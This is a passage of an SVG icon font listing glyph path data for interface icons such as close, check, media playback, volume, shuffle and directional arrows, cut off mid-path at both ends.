	c0,32.041, 8.974,61.984, 24.539,87.462l 230.922-230.923C 285.984,0.973, 256.041-8, 224-8C 131.217-8, 56,67.216, 56,160z"  />
<glyph unicode="&#xe0fa;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 336,232.402L 263.599,160
	L 336,87.599L 336,48 l-39.599,0 L 224,120.401L 151.598,48L 112,48 l0,39.599 L 184.402,160L 112,232.402L 112,272 l 39.598,0 L 224,199.598L 296.401,272L 336,272 
	L 336,232.402 z"  />
<glyph unicode="&#xe0fb;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 182,20L 89.25,140.75l 41.125,42.875l 51.625-65.625
	l 161.875,132.125l 20.125-20.125L 182,20z"  />
<glyph unicode="&#xe0fc;" d="M 448,62M 322,384L 126,384 L0,258l0-196 l 126-126l 196,0 l 126,126L 448,258 L 322,384z M 252,20l-56,0 l0,56 l 56,0 L 252,20 z M 252,132l-56,0 L 196,300 l 56,0 L 252,132 z"  />
<glyph unicode="&#xe0fd;" d="M 443.915,24.086c-0.002,0.002-0.004,0.004-0.005,0.004L 308.003,160l 135.907,135.909c 0.002,0.002, 0.004,0.003, 0.005,0.004
		c 1.463,1.464, 2.521,3.174, 3.199,4.995c 1.858,4.977, 0.798,10.798-3.204,14.801L 379.708,379.91c-4.002,4.001-9.822,5.060-14.8,3.203
		c-1.82-0.678-3.531-1.736-4.995-3.198c0-0.002-0.002-0.003-0.004-0.004L 224.001,244L 88.092,379.909
		c-0.002,0.002-0.003,0.003-0.004,0.004c-1.464,1.462-3.174,2.52-4.994,3.198c-4.979,1.859-10.798,0.799-14.801-3.203L 4.091,315.707
		c-4.002-4.002-5.061-9.823-3.203-14.8c 0.679-1.82, 1.737-3.531, 3.199-4.995c 0.002-0.001, 0.003-0.003, 0.004-0.004L 140.001,160
		L 4.091,24.090c-0.001-0.002-0.003-0.003-0.004-0.004c-1.462-1.464-2.52-3.174-3.2-4.994c-1.859-4.977-0.799-10.798, 3.203-14.801
		l 64.202-64.201c 4.003-4.002, 9.823-5.061, 14.801-3.203c 1.82,0.679, 3.531,1.737, 4.995,3.199c 0.001,0.002, 0.003,0.003, 0.004,0.004
		l 135.909,135.909l 135.909-135.909c 0.002-0.001, 0.004-0.003, 0.005-0.004c 1.465-1.463, 3.174-2.521, 4.994-3.2
		c 4.978-1.858, 10.799-0.799, 14.8,3.203l 64.201,64.202c 4.002,4.002, 5.062,9.824, 3.204,14.801
		C 446.435,20.913, 445.378,22.622, 443.915,24.086z"  />
<glyph unicode="&#xe0fe;" d="M 378,328L 168,118L 70,216L0,146L 168-22L 448,258 z"  />
<glyph unicode="&#xe0ff;" d="M 173.877-17.492l-174.067,171.325l 86.353,84.993l 87.714-86.333l 187.959,184.998l 86.353-84.993L 173.877-17.492z
		 M 47.212,153.833l 126.667-124.671l 226.912,223.336l-38.953,38.339l-187.959-184.998L 86.164,192.173L 47.212,153.833z"  />
<glyph unicode="&#xe100;" d="M 56,272l 56,0 l0-84 l 28,0 L 140,356 c0,15.4-12.6,28-28,28L 56,384 C 40.6,384, 28,371.4, 28,356l0-168 l 28,0 L 56,272 z M 56,356l 56,0 l0-56 L 56,300 L 56,356 z M 420,356L 420,384 l-84,0 
	c-15.401,0-28-12.6-28-28l0-140 c0-15.4, 12.599-28, 28-28l 84,0 l0,28 l-84,0 L 336,356 L 420,356 z M 280,314L 280,356 c0,15.4-12.6,28-28,28l-84,0 l0-196 l 84,0 
	c 15.4,0, 28,12.6, 28,28l0,42 c0,15.4-3.85,28-19.25,28C 276.15,286, 280,298.6, 280,314z M 252,216l-56,0 l0,56 l 56,0 L 252,216 z M 252,300l-56,0 L 196,356 l 56,0 L 252,300 zM 364,132 L 182-64 L 84,62 L 119.875,92.625 L 182,27.875 L 336,160 Z"  />
<glyph unicode="&#xe101;" d="M0,202l0-84 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14l0,84 c0,7.732-6.268,14-14,14L 14,216 C 6.268,216,0,209.732,0,202z"  />
<glyph unicode="&#xe102;" d="M 434,216L 280,216 L 280,370 c0,7.732-6.268,14-14,14l-84,0 c-7.732,0-14-6.268-14-14l0-154 L 14,216 c-7.732,0-14-6.268-14-14l0-84 
	c0-7.732, 6.268-14, 14-14l 154,0 l0-154 c0-7.732, 6.268-14, 14-14l 84,0 c 7.732,0, 14,6.268, 14,14L 280,104 l 154,0 c 7.732,0, 14,6.268, 14,14l0,84 
	C 448,209.732, 441.731,216, 434,216z"  />
<glyph unicode="&#xe103;" d="M 168,160 L 28,160 L 28,216 L 168,216 L 168,272 L 252,188 L 168,104 ZM 448,384 L 448,20 L 280-64 L 280,20 L 112,20 L 112,132 L 140,132 L 140,48 L 280,48 L 280,300 L 392,356 L 140,356 L 140,244 L 112,244 L 112,384 Z"  />
<glyph unicode="&#xe104;" d="M 336,104 L 336,160 L 196,160 L 196,216 L 336,216 L 336,272 L 420,188 ZM 308,132 L 308,20 L 168,20 L 168-64 L 0,20 L 0,384 L 308,384 L 308,244 L 280,244 L 280,356 L 56,356 L 168,300 L 168,48 L 280,48 L 280,132 Z"  />
<glyph unicode="&#xe105;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 168,258L 336,160L 168,62 z"  />
<glyph unicode="&#xe106;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,244L 196,244L 196,76L 140,76zM 252,244L 308,244L 308,76L 252,76z"  />
<glyph unicode="&#xe107;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,244L 308,244L 308,76L 140,76z"  />
<glyph unicode="&#xe108;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 308,90L 210,160L 308,230 zM 196,90L 98,160L 196,230 z"  />
<glyph unicode="&#xe109;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,230L 238,160L 140,90 zM 252,230L 350,160L 252,90 z"  />
<glyph unicode="&#xe10a;" d="M 84,328L 364,160L 84-8 z"  />
<glyph unicode="&#xe10b;" d="M 56,328L 196,328L 196-8L 56-8zM 252,328L 392,328L 392-8L 252-8z"  />
<glyph unicode="&#xe10c;" d="M 56,328L 392,328L 392-8L 56-8z"  />
<glyph unicode="&#xe10d;" d="M 252,314 L 252,174 L 392,314 L 392,6 L 252,146 L 252,6 L 98,160 Z"  />
<glyph unicode="&#xe10e;" d="M 224,6 L 224,146 L 84,6 L 84,314 L 224,174 L 224,314 L 378,160 Z"  />
<glyph unicode="&#xe10f;" d="M 56-8 L 56,328 L 112,328 L 112,174 L 252,314 L 252,174 L 392,314 L 392,6 L 252,146 L 252,6 L 112,146 L 112-8 Z"  />
<glyph unicode="&#xe110;" d="M 392,328 L 392-8 L 336-8 L 336,146 L 196,6 L 196,146 L 56,6 L 56,314 L 196,174 L 196,314 L 336,174 L 336,328 Z"  />
<glyph unicode="&#xe111;" d="M 112-8 L 112,328 L 168,328 L 168,174 L 308,314 L 308,6 L 168,146 L 168-8 Z"  />
<glyph unicode="&#xe112;" d="M 336,328 L 336-8 L 280-8 L 280,146 L 140,6 L 140,314 L 280,174 L 280,328 Z"  />
<glyph unicode="&#xe113;" d="M0,48L 448,48L 448-8L0-8zM 224,328 L 448,104 L 0,104 Z"  />
<glyph unicode="&#xe114;" d="M 389.392-19.392c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.201-8.2,21.497,0,29.698
		C 412.885,54.8, 434.001,105.776, 434.001,160c0,54.223-21.116,105.2-59.458,143.543c-8.2,8.201-8.2,21.498,0,29.698
		c 8.2,8.2, 21.498,8.2, 29.698,0c 46.274-46.275, 71.76-107.8, 71.76-173.241c0-65.442-25.485-126.966-71.76-173.241
		C 400.141-17.342, 394.767-19.392, 389.392-19.392zM 314.794,20.206c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.2-8.2,21.497,0,29.698
		c 57.315,57.315, 57.315,150.574,0,207.889c-8.2,8.201-8.2,21.498,0,29.698c 8.2,8.2, 21.498,8.2, 29.698,0
		C 365.34,257.946, 385,210.484, 385,160c0-50.483-19.66-97.946-55.357-133.643C 325.543,22.256, 320.169,20.206, 314.794,20.206zM 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z" horiz-adv-x="476"  />
<glyph unicode="&#xe115;" d="M 314.794,20.206c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.2-8.2,21.497,0,29.698
		c 57.315,57.315, 57.315,150.574,0,207.889c-8.2,8.201-8.2,21.498,0,29.698c 8.2,8.2, 21.498,8.2, 29.698,0
		C 365.34,257.946, 385,210.484, 385,160c0-50.483-19.66-97.946-55.357-133.643C 325.543,22.256, 320.169,20.206, 314.794,20.206zM 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z"  />
<glyph unicode="&#xe116;" d="M 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z"  />
<glyph unicode="&#xe117;" d="M 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z"  />
<glyph unicode="&#xe118;" d="M 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 ZM 420,113.123 L 420,76 L 382.877,76 L 336,122.877 L 289.123,76 L 252,76 L 252,113.123 L 298.877,160 L 252,206.877 L 252,244 L 289.123,244 L 336,197.123 L 382.877,244 L 420,244 L 420,206.877 L 373.123,160 Z"  />
<glyph unicode="&#xe119;" d="M 187.322,356.036 C 192.561,356.036 196,350.839 196.001,341.125 L 196.001-21.125 C 196.001-30.84 192.564-36.036 187.323-36.036 C 183.996-36.036 179.943-33.941 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 C 179.943,353.943 183.995,356.036 187.322,356.036 ZM 448,132 L 364,132 L 364,48 L 308,48 L 308,132 L 224,132 L 224,188 L 308,188 L 308,272 L 364,272 L 364,188 L 448,188 Z"  />
<glyph unicode="&#xe11a;" d="M 187.322,356.036 C 192.561,356.036 196,350.839 196.001,341.125 L 196.001-21.125 C 196.001-30.84 192.564-36.036 187.323-36.036 C 183.996-36.036 179.943-33.941 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 C 179.943,353.943 183.995,356.036 187.322,356.036 ZM 224,188L 448,188L 448,132L 224,132z"  />
<glyph unicode="&#xe11b;" d="M 56,244L 336,244L 336,160L 448,272L 336,384L 336,300L0,300L0,132L 56,132 	zM 392,76L 112,76L 112,160L0,48L 112-64L 112,20L 448,20L 448,188L 392,188 	z"  />
<glyph unicode="&#xe11c;" d="M 382.385,318.384C 341.849,358.921, 285.856,384, 224,384C 127.974,384, 46.073,323.569, 14.22,238.668l 52.446-19.667
		C 90.555,282.677, 151.981,328, 224,328c 46.393,0, 88.384-18.813, 118.784-49.216L 280,216l 168,0 L 448,384 L 382.385,318.384zM 224-8c-46.393,0-88.386,18.809-118.787,49.213L 168,104L0,104 l0-168 l 65.622,65.622C 106.155-38.917, 162.143-64, 224-64
		c 96.027,0, 177.928,60.431, 209.781,145.332l-52.446,19.667C 357.446,37.323, 296.020-8, 224-8z"  />
<glyph unicode="&#xe11d;" d="M 140,104L 140,188L 224,188L 112,300L0,188L 84,188L 84,48L 252,48L 196,104 	zM 364,132L 364,272L 196,272L 252,216L 308,216L 308,132L 224,132L 336,20L 448,132 	z"  />
<glyph unicode="&#xe11e;" d="M 448,272L 336,384l0-84 c-57.213,0-100.954-13.653-133.722-41.741c-2.297-1.969-4.499-3.981-6.633-6.026
		c 12.040-16.697, 21.313-33.913, 29.65-50.352C 246.436,227.432, 276.944,244, 336,244l0-84 l0,0 l0-84 c-94.695,0-115.993,42.595-142.956,96.522
		c-15.009,30.018-30.529,61.058-59.322,85.737C 100.954,286.347, 57.213,300,0,300l0-56 c 94.695,0, 115.993-42.595, 142.956-96.522
		c 15.009-30.018, 30.529-61.058, 59.322-85.737C 235.046,33.654, 278.788,20, 336,20l0-84 l 112,112L 336,160L 448,272zM0,76l0-56 c 57.213,0, 100.953,13.653, 133.722,41.741c 2.297,1.968, 4.499,3.981, 6.633,6.027
		c-12.040,16.696-21.314,33.913-29.65,50.352C 89.565,92.569, 59.057,76,0,76z"  />
<glyph unicode="&#xe11f;" d="M0,48L 112,160L 336-64L 448,48L 224,272L 335.999,384L0,384 z"  />
<glyph unicode="&#xe120;" d="M 224.001,384L0,160L 140,160L 140-63.999L 308-64L 308,160L 448,160 z"  />
<glyph unicode="&#xe121;" d="M 112,384L 224.001,272L0,48L 112-64L 336,160L 448,48.001L 448,384 z"  />
<glyph unicode="&#xe122;" d="M 448,160L 224,384L 224,244L 0.001,244L0,76L 224,76L 224-64 z"  />
<glyph unicode="&#xe123;" d="M 448,272L 336,160L 112,384L0,272L 224.001,48L 112.001-64L 448-64 z"  />
<glyph unicode="&#xe124;" d="M 224-64L 448,160L 308,160L 308,383.999L 140,384L 140,160L0,160 z"  />
<glyph unicode="&#xe125;" d="M 336-64L 224,48L 448,272L 336,384L 112,159.999L0,271.999L0-64 z"  />
<glyph unicode="&#xe126;" d="M0,160L 224-64L 224,76L 447.999,76L 448,244L 224,244L 224,384 z"  />
<glyph unicode="&#xe127;" d="M 56,132c0-15.465, 12.536-28, 28-28s 28,12.535, 28,28L 112,232.403 l 232.201-232.202c 10.934-10.934, 28.663-10.934, 39.597,0
	C 389.266,5.668, 392,12.835, 392,20s-2.734,14.332-8.201,19.799L 151.597,272L 252,272 c 15.464,0, 28,12.536, 28,28s-12.536,28-28,28L 56,328 
	L 56,132 z"  />
<glyph unicode="&#xe128;" d="M 383.799,207.799l-140,140c-10.934,10.935-28.662,10.935-39.597,0l-140-140c-10.935-10.935-10.935-28.663,0-39.598
	c 10.935-10.936, 28.663-10.936, 39.598,0L 196,260.402L 196-8 c0-15.464, 12.536-28, 28-28c 15.464,0, 28,12.536, 28,28L 252,260.402 l 92.201-92.201
	C 349.668,162.733, 356.835,160, 364,160s 14.332,2.734, 19.799,8.201C 394.734,179.136, 394.734,196.864, 383.799,207.799z"  />
<glyph unicode="&#xe129;" d="M 364.009,328c-0.005,0-0.012,0-0.018,0L 196,328 c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 100.403,0 L 64.201,39.799
	c-10.935-10.934-10.935-28.663,0-39.597C 69.668-5.266, 76.835-8, 84-8s 14.332,2.734, 19.799,8.201L 336,232.403L 336,132 
	c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28L 392,328 L 364.009,328 z"  />
<glyph unicode="&#xe12a;" d="M 271.799,0.201l 140,140c 10.935,10.934, 10.935,28.663,0,39.598l-140,140c-10.935,10.934-28.663,10.934-39.598,0
	c-10.935-10.935-10.935-28.663,0-39.598L 324.402,188L 56,188 c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 268.402,0 L 232.201,39.799
	C 226.734,34.332, 224,27.165, 224,20s 2.734-14.332, 8.2-19.799C 243.135-10.734, 260.864-10.734, 271.799,0.201z"  />
<glyph unicode="&#xe12b;" d="M 392,188c0,15.465-12.535,28-28,28c-15.464,0-28-12.535-28-28l0-100.403 L 103.799,319.799
	c-10.934,10.934-28.663,10.934-39.597,0C 58.733,314.332, 56,307.165, 56,300s 2.734-14.332, 8.201-19.799L 296.403,48L 196,48 
	c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 196,0 L 392,188 z"  />
<glyph unicode="&#xe12c;" d="M 64.201,112.201l 140-140c 10.934-10.935, 28.663-10.935, 39.598,0l 140,140c 10.934,10.935, 10.934,28.663,0,39.598
	c-10.935,10.935-28.663,10.935-39.598,0L 252,59.598L 252,328 c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-268.402 L 103.799,151.799
	C 98.332,157.266, 91.165,160, 84,160s-14.332-2.734-19.799-8.2C 53.267,140.865, 53.267,123.136, 64.201,112.201z"  />
<glyph unicode="&#xe12d;" d="M 252-8c 15.465,0, 28,12.535, 28,28c0,15.464-12.535,28-28,28L 151.597,48 l 232.202,232.201c 10.934,10.934, 10.934,28.663,0,39.597
	C 378.332,325.267, 371.165,328, 364,328s-14.332-2.734-19.799-8.201L 112,87.597L 112,188 c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-196 L 252-8 z
	"  />
<glyph unicode="&#xe12e;" d="M 176.201,319.799l-140-140c-10.935-10.934-10.935-28.663,0-39.597l 140-140c 10.935-10.934, 28.663-10.934, 39.598,0
	c 10.936,10.934, 10.936,28.663,0,39.597L 123.597,132L 392,132 c 15.464,0, 28,12.535, 28,28c0,15.464-12.536,28-28,28L 123.597,188 l 92.201,92.201
	C 221.266,285.668, 224,292.835, 224,300s-2.734,14.332-8.2,19.799C 204.864,330.733, 187.136,330.733, 176.201,319.799z"  />
<glyph unicode="&#xe12f;" d="M 224,384C 347.712,384, 448,283.712, 448,160s -100.288-224, -224-224s -224,100.288, -224,224S 100.288,384, 224,384z M 224-22
		c 100.516,0 182,81.484 182,182S 324.516,342, 224,342s -182-81.484, -182-182S 123.484-22, 224-22zM 280,272c 15.464,0 28-12.536 28-28s -12.536-28, -28-28l-72.401,0 L 327.799,95.799c 10.935-10.935 10.935-28.664,0-39.599
	C 322.332,50.734, 315.165,48, 308,48s -14.332,2.734, -19.799,8.2L 168,176.402L 168,104 c0-15.464, -12.536-28, -28-28s -28,12.536, -28,28L 112,272 L 280,272 
	z"  />
<glyph unicode="&#xe130;" d="M 448,160C 448,36.288, 347.712-64, 224-64s -224,100.288, -224,224s 100.288,224, 224,224S 448,283.712, 448,160z M 42,160
		c 0-100.516 81.484-182 182-182S 406,59.484, 406,160s -81.484,182, -182,182S 42,260.516, 42,160zM 243.799,291.799l 112-112.001c 10.935-10.934 10.935-28.662 0-39.597c -10.935-10.935 -28.663-10.935,-39.598,0L 252,204.402
	L 252,48 c 0-15.464 -12.536-28 -28-28c-15.464,0, -28,12.536, -28,28l0,156.402 l -64.201-64.201c -10.935-10.935 -28.664-10.935,-39.599,0
	C 86.733,145.668, 84,152.835, 84,160s 2.734,14.332, 8.2,19.799l 112,112.001C 215.135,302.733, 232.865,302.733, 243.799,291.799z"  />
<glyph unicode="&#xe131;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 168,272c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 72.401,0 L 120.201,95.799c-10.935-10.935-10.935-28.664,0-39.599
	C 125.668,50.734, 132.835,48, 140,48s 14.332,2.734, 19.799,8.2L 280,176.402L 280,104 c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28L 336,272 L 168,272 
	z"  />
<glyph unicode="&#xe132;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 355.799,179.799l-112.001,112c-10.934,10.935-28.662,10.935-39.597,0c-10.935-10.935-10.935-28.663,0-39.598L 268.402,188
	L 112,188 c-15.464,0-28-12.536-28-28c0-15.464, 12.536-28, 28-28l 156.402,0 l-64.201-64.201c-10.935-10.935-10.935-28.664,0-39.599
	C 209.668,22.734, 216.835,20, 224,20s 14.332,2.734, 19.799,8.2l 112.001,112C 366.734,151.135, 366.734,168.865, 355.799,179.799z"  />
<glyph unicode="&#xe133;" d="M 224-64C 100.288-64, 0,36.288, 0,160s 100.288,224, 224,224s 224-100.288, 224-224S 347.712-64, 224-64z M 224,342
		c -100.516,0 -182-81.484 -182-182S 123.484-22, 224-22s 182,81.484, 182,182S 324.516,342, 224,342zM 168,48c -15.464,0 -28,12.536 -28,28s 12.536,28, 28,28l 72.401,0 L 120.201,224.201c -10.935,10.935 -10.935,28.664,0,39.599
	C 125.668,269.267, 132.835,272, 140,272s 14.332-2.734, 19.799-8.2L 280,143.598L 280,216 c0,15.464, 12.536,28, 28,28s 28-12.536, 28-28L 336,48 L 168,48 
	z"  />
<glyph unicode="&#xe134;" d="M 448,160C 448,283.712, 347.712,384, 224,384s -224-100.288, -224-224s 100.288-224, 224-224S 448,36.288, 448,160z M 42,160
		c 0,100.516 81.484,182 182,182S 406,260.516, 406,160s -81.484-182, -182-182S 42,59.484, 42,160zM 243.799,28.201l 112,112.001c 10.935,10.934 10.935,28.662 0,39.597c -10.935,10.935 -28.663,10.935,-39.598,0L 252,115.598
	L 252,272 c 0,15.464 -12.536,28 -28,28c-15.464,0, -28-12.536, -28-28l0-156.402 l -64.201,64.201c -10.935,10.935 -28.664,10.935,-39.599,0
	C 86.733,174.332, 84,167.165, 84,160s 2.734-14.332, 8.2-19.799l 112-112.001C 215.135,17.266, 232.865,17.266, 243.799,28.201z"  />
<glyph unicode="&#xe135;" d="M 224-64C 347.712-64, 448,36.288, 448,160s -100.288,224, -224,224s -224-100.288, -224-224S 100.288-64, 224-64z M 224,342
		c 100.516,0 182-81.484 182-182S 324.516-22, 224-22s -182,81.484, -182,182S 123.484,342, 224,342zM 280,48c 15.464,0 28,12.536 28,28s -12.536,28, -28,28l-72.401,0 L 327.799,224.201c 10.935,10.935 10.935,28.664,0,39.599
	C 322.332,269.267, 315.165,272, 308,272s -14.332-2.734, -19.799-8.2L 168,143.598L 168,216 c0,15.464, -12.536,28, -28,28s -28-12.536, -28-28L 112,48 L 280,48 
	z"  />
<glyph unicode="&#xe136;" d="M 224,384C 347.712,384, 448,283.712, 448,160s -100.288-224, -224-224s -224,100.288, -224,224S 100.288,384, 224,384z M 224-22
		c 100.516,0 182,81.484 182,182S 324.516,342, 224,342s -182-81.484, -182-182S 123.484-22, 224-22zM 92.201,179.799l 112.001,112c 10.934,10.935 28.662,10.935 39.597,0c 10.935-10.935 10.935-28.663,0-39.598L 179.598,188
	L 336,188 c 15.464,0 28-12.536 28-28c0-15.464, -12.536-28, -28-28l-156.402,0 l 64.201-64.201c 10.935-10.935 10.935-28.664,0-39.599
	C 238.332,22.734, 231.165,20, 224,20s -14.332,2.734, -19.799,8.2l -112.001,112C 81.267,151.135, 81.267,168.865, 92.201,179.799z"  />
<glyph unicode="&#xe137;" d="M 308,300L0,300L0,244L 308,244L 308,160L 420,272L 308,384 	zM 420,384L 420,272L 420,160L 448,160L 448,384 	zM 140,160L 28,48L 140-64L 140,20L 448,20L 448,76L 140,76 	zM0,160L0-64L 28-64L 28,48L 28,160 	z"  />
<glyph unicode="&#xe138;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 z M 336,286L 196,146l-84,84l-56-56l 140-140l 196,196L 336,286z"  />
<glyph unicode="&#xe139;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 z"  />
<glyph unicode="&#xe13a;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 zM 112,272L 336,272L 336,48L 112,48z"  />
<glyph unicode="&#xe13b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8zM 140,160A84,84 12780 1 0 308,160A84,84 12780 1 0 140,160z"  />
<glyph unicode="&#xe13c;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
	c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8z"  />
<glyph unicode="&#xe13d;" d="M 364,272l 84,84L 420,384l-84-84L 140,300 L 140,384 L 84,384 l0-84 L0,300 l0-56 l 84,0 l0-224 l 224,0 l0-84 l 56,0 l0,84 l 84,0 l0,56 l-84,0 L 364,272 z M 140,244l 140,0 L 140,104L 140,244 z M 168,76
	l 140,140l0-140 L 168,76 z"  />
<glyph unicode="&#xe13e;" d="M 389.714,73.745c-19.974,19.931-45.381,30.219-69.101,30.219l-12.736,0 l-27.958,28.003l 111.834,112.017
	c 27.958,28.004, 27.958,84.012,0,112.017L 224.001,187.976L 56.249,356c-27.958-28.003-27.958-84.012,0-112.017l 111.835-112.015
	l-27.959-28.003l-12.737,0 c-23.721,0-49.128-10.289-69.102-30.221c-35.71-35.631-40.534-88.587-10.776-118.278
	C 60.622-57.616, 78.261-64, 96.946-64c 23.72,0, 49.127,10.287, 69.101,30.219c 23.443,23.39, 33.575,54.25, 29.349,81.090l 28.605,28.651
	l 28.602-28.651c-4.224-26.84, 5.909-57.698, 29.349-81.090C 301.93-53.713, 327.336-64, 351.055-64
	c 18.685,0, 36.323,6.384, 49.435,19.467C 430.249-14.842, 425.422,38.114, 389.714,73.745z M 154.448,14.077
	c-3.368-7.823-8.317-15.026-14.711-21.405c-6.403-6.389-13.638-11.339-21.502-14.711c-7.058-3.026-14.42-4.623-21.29-4.623
	c-6.626,0-16.018,1.488-23.127,8.58c-7.059,7.045-8.54,16.327-8.54,22.876c0,6.8, 1.593,14.092, 4.605,21.093
	c 3.369,7.824, 8.319,15.026, 14.711,21.405c 6.402,6.39, 13.638,11.337, 21.503,14.711c 7.059,3.025, 14.42,4.623, 21.291,4.623
	c 6.626,0, 16.018-1.488, 23.125-8.581c 7.059-7.043, 8.541-16.326, 8.541-22.874C 159.055,28.371, 157.462,21.076, 154.448,14.077z
	 M 224.002,92.364c-21.837,0-39.54,17.733-39.54,39.605c0,21.871, 17.702,39.602, 39.54,39.602s 39.538-17.731, 39.538-39.602
	C 263.539,110.095, 245.838,92.364, 224.002,92.364z M 374.182-18.081c-7.109-7.091-16.499-8.58-23.126-8.58
	c-6.87,0-14.232,1.598-21.291,4.623c-7.863,3.371-15.097,8.321-21.5,14.711c-6.394,6.379-11.343,13.581-14.711,21.405
	c-3.013,6.999-4.605,14.294-4.605,21.093c0,6.548, 1.48,15.832, 8.54,22.875c 7.108,7.091, 16.499,8.581, 23.126,8.581
	c 6.869,0, 14.232-1.599, 21.289-4.623c 7.865-3.372, 15.101-8.32, 21.503-14.711c 6.392-6.379, 11.342-13.581, 14.711-21.405
	c 3.012-6.999, 4.605-14.293, 4.605-21.093C 382.721-1.754, 381.239-11.036, 374.182-18.081z"  />
<glyph unicode="&#xe13f;" d="M 224,384C 100.288,384,0,352.66,0,314l0-42 l 168-168l0-140 c0-15.464, 25.071-28, 56-28c 30.928,0, 56,12.536, 56,28L 280,104 l 168,168L 448,314 
	C 448,352.66, 347.712,384, 224,384z M 41.293,323.264c 10.476,5.975, 25.192,11.646, 42.559,16.401C 122.328,350.199, 172.099,356, 224,356
	c 51.9,0, 101.672-5.801, 140.148-16.334c 17.367-4.755, 32.084-10.426, 42.56-16.401c 6.909-3.94, 10.642-7.273, 12.38-9.264
